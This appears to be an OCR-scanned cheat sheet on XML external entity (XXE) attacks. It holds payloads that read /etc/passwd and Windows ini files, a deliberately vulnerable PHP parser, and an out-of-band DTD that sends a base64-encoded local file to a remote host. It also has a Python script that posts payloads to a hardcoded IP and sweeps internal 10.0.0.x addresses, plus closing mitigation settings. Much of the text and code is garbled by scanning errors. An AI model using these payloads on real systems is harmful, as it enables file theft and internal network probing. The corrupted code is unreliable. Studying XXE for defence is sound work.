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<?xml version="1.0"?>//X—1TR XML 3CH4E X
<!DOCTYPE message [

<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>

<!ELEMENT sender (#PCDATA)>

<!ELEMENT header (#PCDATA)>

<!ELEMENT msg (#PCDATA)>
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<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>
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<?xml version="1.0" encoding="IS0-8859-1"?>
<!DOCTYPE foo [

<!ELEMENT foo ANY >

<IENTITY xxe "test" >]>
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<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
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<?xml version="1.0" encoding="IS0-8859-1"?>
<IDOCTYPE foo [
<!ELEMENT foo ANY >
<IENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>

<user>&xxe;</user>

<pass>mypass</pass>
</creds>
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<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>

<firstname>Joe</firstname>

<lastname>&file;</lastname>

</updateProfile>
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<IENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!IENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
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xml.php

<?php

libxml_disable_entity loader (false);

$xmlfile = file_get_contents('php://input');

$dom = new DOMDocument();

$dom->loadXML ($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);

echo $creds;

?>

payload

<?xml version="1.0" encoding="utf-8"?>

<IDOCTYPE creds [

<IENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
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<?php

libxml_disable_entity loader (false);

$xmlfile = file_get_contents('php://input');

$dom = new DOMDocument();

$dom->loadXML ($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

?>

test.dtd

<IENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<IENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999°?p=%file;"'>">

payload

<!DOCTYPE convert [
<IENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
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import requests
import base64
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#0Origtional XML that the server accepts

#<xml>

# <stuff>user</stuff>

#</xml>

def build_xml(st

xml = xml +
xml = xml +
xml = xml +
xml = xml +

ring):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
"\r\n" + """<IDOCTYPE foo [ <!ELEMENT foo ANY >"""
"\r\n" + """<IENTITY xxe SYSTEM """ + '"' 4+ string + '"' + """>]>"""
"\r\n" o+ MU texml>"t!
"\r\n" + """ <stuff>&xxe;</stuff>"""
"\r\n" 4 "UU</xml>"t"

xml = xml +
send_xml(xml

def send_xml(xml

)

):

headers = {'Content-Type': 'application/xml'}
X = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
= X.split(' ')[-2] # a little split to get only the base64 encoded value

coded_string

print coded_string

# print base64.b64decode(coded_string)

for i in range(1, 255):

try:
i = str(

i)

ip = '10.0.0."' + i
string = 'php://filter/convert.base64-encode/resource=http://" + ip + '/’

print st

build_xml(string)

except:
continue
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<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [

<!ELEMENT data (#PCDATA)>

1>
<data>4</data>
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PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl”,true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:

from 1xml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
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